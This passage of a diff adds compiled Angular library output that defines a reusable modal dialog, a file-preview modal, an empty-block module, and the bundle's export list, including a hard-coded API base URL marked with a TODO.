+ RouterModule], exports: [WlEmptyBlockComponent] });
380
+ WlEmptyBlockModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, imports: [[
381
+ CommonModule,
382
+ TranslateModule,
383
+ RouterModule
384
+ ]] });
385
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, decorators: [{
386
+ type: NgModule,
387
+ args: [{
388
+ declarations: [
389
+ WlEmptyBlockComponent
390
+ ],
391
+ imports: [
392
+ CommonModule,
393
+ TranslateModule,
394
+ RouterModule
395
+ ],
396
+ exports: [
397
+ WlEmptyBlockComponent
398
+ ]
399
+ }]
400
+ }] });
401
+
402
+ class ReusableModalComponent {
403
+ constructor(translate) {
404
+ this.translate = translate;
405
+ this.modalTitle = 'Modal dialog';
406
+ this.faIconClasses = null;
407
+ this.hasCloseBtn = true;
408
+ // eslint-disable-next-line @angular-eslint/no-output-on-prefix
409
+ this.onClose = new EventEmitter();
410
+ }
411
+ ngOnInit() {
412
+ this.modalTitle = this.translate.transSafe(this.modalTitle);
413
+ }
414
+ onCloseClick() {
415
+ this.onClose.emit(true);
416
+ }
417
+ }
418
+ ReusableModalComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ReusableModalComponent, deps: [{ token: i1$1.TranslationService }], target: i0.ɵɵFactoryTarget.Component });
419
+ ReusableModalComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ReusableModalComponent, selector: "wll-reusable-modal", inputs: { modalTitle: "modalTitle", faIconClasses: "faIconClasses", hasCloseBtn: "hasCloseBtn" }, outputs: { onClose: "onClose" }, ngImport: i0, template: "<div class=\"modal-content\">\n <div class=\"modal-header\">\n <button *ngIf=\"hasCloseBtn !== false\" (click)=\"onCloseClick()\" class=\"close\">\n <span aria-hidden=\"true\">&times;</span>\n </button>\n <h4 class=\"modal-title\">\n <em *ngIf=\"faIconClasses\" [ngClass]=\"'fa ' + faIconClasses\" aria-hidden=\"true\"></em>\n <span *ngIf=\"faIconClasses\" class=\"modal-title-text\">{{ modalTitle }}</span>\n <span *ngIf=\"!faIconClasses\" class=\"modal-title-text-no-icon\">{{ modalTitle }}</span>\n </h4>\n </div>\n <div class=\"modal-body\">\n <ng-content select=\"[modal-section=body]\"></ng-content>\n </div>\n <div class=\"modal-footer\">\n <ng-content select=\"[modal-section=footer]\"></ng-content>\n </div>\n</div>\n", styles: [".modal-header{padding:8px 15px;background-color:#fff;color:#777}.modal-header em{display:inline-block;padding-right:5px}.modal-header .close{outline:none;margin-top:-9px}.modal-title-text{position:relative;top:-5px;left:5px}.modal-title-text-no-icon{font-size:16px}\n"], directives: [{ type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i1.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }] });
420
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ReusableModalComponent, decorators: [{
421
+ type: Component,
422
+ args: [{
423
+ selector: 'wll-reusable-modal',
424
+ templateUrl: 'reusable-modal.component.html',
425
+ styleUrls: ['reusable-modal.component.scss']
426
+ }]
427
+ }], ctorParameters: function () { return [{ type: i1$1.TranslationService }]; }, propDecorators: { modalTitle: [{
428
+ type: Input
429
+ }], faIconClasses: [{
430
+ type: Input
431
+ }], hasCloseBtn: [{
432
+ type: Input
433
+ }], onClose: [{
434
+ type: Output
435
+ }] } });
436
+
437
+ // TODO: Fix environment
438
+ const environment = {
439
+ apiUrl: "https://simprouat.wirelesslogic.com/v5/api/"
440
+ };
441
+ class WllModalFilePreviewComponent {
442
+ constructor(activeModal) {
443
+ this.activeModal = activeModal;
444
+ this.url = '';
445
+ }
446
+ ngOnInit() {
447
+ this.url = environment.apiUrl + this.filePath;
448
+ }
449
+ }
450
+ WllModalFilePreviewComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewComponent, deps: [{ token: i1$2.NgbActiveModal }], target: i0.ɵɵFactoryTarget.Component });
451
+ WllModalFilePreviewComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WllModalFilePreviewComponent, selector: "wll-modal-file-preview.module.ts", inputs: { filePath: "filePath" }, ngImport: i0, template: "<wll-reusable-modal\n [modalTitle]=\"'GUIBundle.generic.image_preview' | translate\"\n faIconClasses=\"fa-info-circle fa-2x\"\n (onClose)=\"activeModal.dismiss('Close click')\"\n>\n <div modal-section=\"body\">\n<!-- <img class=\"image\" [src]=\"url | secure | async\" alt=\"WL\" />-->\n </div>\n <div modal-section=\"footer\">\n <button (click)=\"activeModal.dismiss('Close click')\" class=\"btn btn-primary\">{{ \"GUIBundle.generic.cancel\" | translate }}</button>\n </div>\n</wll-reusable-modal>\n", styles: [".image{max-width:100%}\n"], components: [{ type: ReusableModalComponent, selector: "wll-reusable-modal", inputs: ["modalTitle", "faIconClasses", "hasCloseBtn"], outputs: ["onClose"] }], pipes: { "translate": i2$1.TranslatePipe } });
452
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewComponent, decorators: [{
453
+ type: Component,
454
+ args: [{
455
+ selector: 'wll-modal-file-preview.module.ts',
456
+ templateUrl: 'wll-modal-file-preview.component.html',
457
+ styleUrls: ['wll-modal-file-preview.component.scss']
458
+ }]
459
+ }], ctorParameters: function () { return [{ type: i1$2.NgbActiveModal }]; }, propDecorators: { filePath: [{
460
+ type: Input
461
+ }] } });
462
+
463
+ class WlReusableModalModule {
464
+ }
465
+ WlReusableModalModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
466
+ WlReusableModalModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, declarations: [ReusableModalComponent], imports: [CommonModule,
467
+ TranslateModule,
468
+ RouterModule], exports: [ReusableModalComponent] });
469
+ WlReusableModalModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, imports: [[
470
+ CommonModule,
471
+ TranslateModule,
472
+ RouterModule
473
+ ]] });
474
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, decorators: [{
475
+ type: NgModule,
476
+ args: [{
477
+ declarations: [
478
+ ReusableModalComponent
479
+ ],
480
+ imports: [
481
+ CommonModule,
482
+ TranslateModule,
483
+ RouterModule
484
+ ],
485
+ exports: [
486
+ ReusableModalComponent
487
+ ]
488
+ }]
489
+ }] });
490
+
491
+ class WllModalFilePreviewModule {
492
+ }
493
+ WllModalFilePreviewModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
494
+ WllModalFilePreviewModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, declarations: [WllModalFilePreviewComponent], imports: [CommonModule,
495
+ TranslateModule,
496
+ RouterModule,
497
+ WlReusableModalModule], exports: [WllModalFilePreviewComponent] });
498
+ WllModalFilePreviewModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, imports: [[
499
+ CommonModule,
500
+ TranslateModule,
501
+ RouterModule,
502
+ WlReusableModalModule,
503
+ ]] });
504
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, decorators: [{
505
+ type: NgModule,
506
+ args: [{
507
+ declarations: [
508
+ WllModalFilePreviewComponent
509
+ ],
510
+ imports: [
511
+ CommonModule,
512
+ TranslateModule,
513
+ RouterModule,
514
+ WlReusableModalModule,
515
+ ],
516
+ exports: [
517
+ WllModalFilePreviewComponent
518
+ ]
519
+ }]
520
+ }] });
521
+
522
+ /**
523
+ * Generated bundle index. Do not edit.
524
+ */
525
+
526
+ export { ActionButtonBarComponent, ActionButtonComponent, BackButtonComponent, BreadcrumbsComponent, DataListComponent, DataSectionComponent, IboxComponent, IboxContentComponent, IboxTitleComponent, ReusableModalComponent, WlBreadcrumbsModule, WlButtonModule, WlDataLayoutModule, WlEmptyBlockComponent, WlEmptyBlockModule, WlLayoutModule, WlReusableModalModule, WllModalFilePreviewComponent, WllModalFilePreviewModule, WrapperComponent };